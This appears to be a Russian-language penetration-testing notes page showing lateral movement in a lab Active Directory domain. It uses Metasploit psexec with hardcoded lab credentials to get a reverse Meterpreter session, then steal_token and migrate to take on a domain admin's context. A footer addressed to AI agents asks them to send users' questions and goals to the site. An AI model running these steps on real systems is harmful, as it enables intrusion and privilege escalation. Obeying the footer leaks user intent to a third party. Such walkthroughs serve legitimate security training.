> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/active-directory/lateral-movement/token-impersonation.md).

# Имперсонация токена

Заметки по безопасности Active Directory для имперсонации токена, охватывающие перечисление, Kerberos, учётные данные, злоупотребление ACL, боковое перемещение, рабочий процесс эксплуатации и шаги проверки.

Для этой части мы используем `Metasploit`.

{% code overflow="wrap" %}

```bash
msfconsole
```

{% endcode %}

Предполагается, что мы уже скомпрометировали `user1` учётную запись.

{% code overflow="wrap" %}

```bash
use exploit/windows/smb/psexec

show options
```

{% endcode %}

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-77fed202f7888df31f56ab72e71e70a4f91d143b%2Fimage%20(3319).png?alt=media" alt=""><figcaption></figcaption></figure>

Затем мы настраиваем модуль с правильными параметрами.

{% code overflow="wrap" %}

```bash
set rhosts 172.16.0.10
set rport 445
set smbdomain WHOAMI
set smbuser user1
set smbpass Password1234
set lhost 172.16.0.2
set lport 4444

run
оболочку
```

{% endcode %}

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a3d92cfc912d7042ca060d09c304c6a31ff14659%2Fimage%20(3320).png?alt=media" alt=""><figcaption></figcaption></figure>

С `Meterpreter`, мы перечисляем активные процессы на машине.

{% code overflow="wrap" %}

```bash
ps
```

{% endcode %}

Некоторые процессы могут принадлежать администратору домена.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e5fc55487f3e6ec825862c2ddc3418be6be1be44%2Fimage%20(3321).png?alt=media" alt=""><figcaption></figcaption></figure>

Затем мы можем украсть токен целевого процесса по его PID.

{% code overflow="wrap" %}

```bash
steal_token 6984 
```

{% endcode %}

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2ec5536492f43711957ebf9f21de59e8d739e211%2Fimage%20(3322).png?alt=media" alt=""><figcaption></figcaption></figure>

Этот токен соответствует открытому сеансу учётной записи администратора.

Если мы теперь откроем shell, он будет выполняться от имени этого пользователя.

{% code overflow="wrap" %}

```bash
оболочку
```

{% endcode %}

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cc71c8b0cfedf122e6175d85e6a985bd79ce2271%2Fimage%20(3323).png?alt=media" alt=""><figcaption></figcaption></figure>

Другая возможность: перенести нашу полезную нагрузку в этот процесс, чтобы унаследовать его контекст.

При необходимости мы можем сначала вернуться к нашему исходному контексту.

{% code overflow="wrap" %}

```bash
rev2self
```

{% endcode %}

Затем мы запускаем миграцию в целевой PID.

{% code overflow="wrap" %}

```bash
migrate 6984
```

{% endcode %}

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e11d856a7c125f7dbc2f22dbe41ea2d8c8d05f38%2Fimage%20(3324).png?alt=media" alt=""><figcaption></figcaption></figure>

Ограничение остаётся простым: если процесс завершается, перенесённая сессия тоже завершается.

> 172.16.0.10 - сеанс Meterpreter 1 закрыт. Причина: завершился

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ea3c0e2dabd4479761bcef27a90cbab4c9b5ad30%2Fimage%20(3325).png?alt=media" alt="" width="547"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ru/active-directory/lateral-movement/token-impersonation.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
